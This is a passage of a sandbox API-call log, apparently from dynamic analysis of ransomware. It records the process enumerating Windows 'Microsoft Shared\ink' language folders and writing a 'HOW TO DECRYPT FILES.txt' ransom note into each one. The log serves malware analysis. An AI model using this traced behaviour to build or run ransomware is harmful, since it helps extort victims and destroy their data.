(lpString1=".", lpString2="web") returned -1 [0058.167] lstrcmpA (lpString1="..", lpString2="web") returned -1 [0058.167] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="web" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" [0058.167] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f8282, cFileName=".", cAlternateFileName="")) returned 0x4f8270 [0058.168] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.168] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.168] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.168] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.168] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0058.168] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.168] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="webbase.xml") returned -1 [0058.168] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="webbase.xml") returned -1 [0058.168] lstrcmpiA (lpString1="", lpString2="webbase.xml") returned -1 [0058.168] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\" [0058.168] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\") returned="" [0058.169] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\HOW TO DECRYPT FILES.txt" [0058.169] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\how to decrypt files.txt")) returned 0xffffffff [0058.169] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0058.170] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.171] CloseHandle (hObject=0x94) returned 1 [0058.171] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", lpString2="webbase.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" [0058.171] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0058.171] FindClose (in: hFindFile=0x4f8270 | out: hFindFile=0x4f8270) returned 1 [0058.172] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="web.xml", cAlternateFileName="")) returned 1 [0058.172] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.172] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web.xml") returned -1 [0058.172] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web.xml") returned -1 [0058.172] lstrcmpiA (lpString1="", lpString2="web.xml") returned -1 [0058.172] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" [0058.173] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="" [0058.173] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" [0058.173] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to decrypt files.txt")) returned 0x20 [0058.173] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="web.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" [0058.173] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="web.xml", cAlternateFileName="")) returned 0 [0058.173] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.173] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="he-IL", cAlternateFileName="")) returned 1 [0058.173] lstrcmpA (lpString1=".", lpString2="he-IL") returned -1 [0058.173] lstrcmpA (lpString1="..", lpString2="he-IL") returned -1 [0058.173] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="he-IL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" [0058.173] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.174] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.174] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x780000, cFileName="..", cAlternateFileName="")) returned 1 [0058.174] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.174] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.174] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.174] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.174] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.174] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.174] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.174] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\" [0058.174] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\") returned="" [0058.174] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\HOW TO DECRYPT FILES.txt" [0058.174] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\how to decrypt files.txt")) returned 0xffffffff [0058.174] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.177] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.177] CloseHandle (hObject=0x90) returned 1 [0058.177] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" [0058.177] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.177] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.177] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0058.177] lstrcmpA (lpString1=".", lpString2="hr-HR") returned -1 [0058.177] lstrcmpA (lpString1="..", lpString2="hr-HR") returned -1 [0058.178] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="hr-HR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" [0058.178] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.178] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.178] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.178] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.178] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.178] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.178] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.178] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.178] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.178] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.178] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\" [0058.178] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\") returned="" [0058.179] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\HOW TO DECRYPT FILES.txt" [0058.179] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\how to decrypt files.txt")) returned 0xffffffff [0058.179] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.180] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.180] CloseHandle (hObject=0x90) returned 1 [0058.180] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" [0058.181] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.181] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.181] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0058.181] lstrcmpA (lpString1=".", lpString2="hu-HU") returned -1 [0058.181] lstrcmpA (lpString1="..", lpString2="hu-HU") returned -1 [0058.181] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="hu-HU" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" [0058.181] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.181] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.181] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.181] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.181] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.181] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.181] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.181] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.181] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.181] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.181] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\" [0058.182] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\") returned="" [0058.182] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\HOW TO DECRYPT FILES.txt" [0058.182] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\how to decrypt files.txt")) returned 0xffffffff [0058.182] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.184] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.184] CloseHandle (hObject=0x90) returned 1 [0058.184] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" [0058.184] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.184] 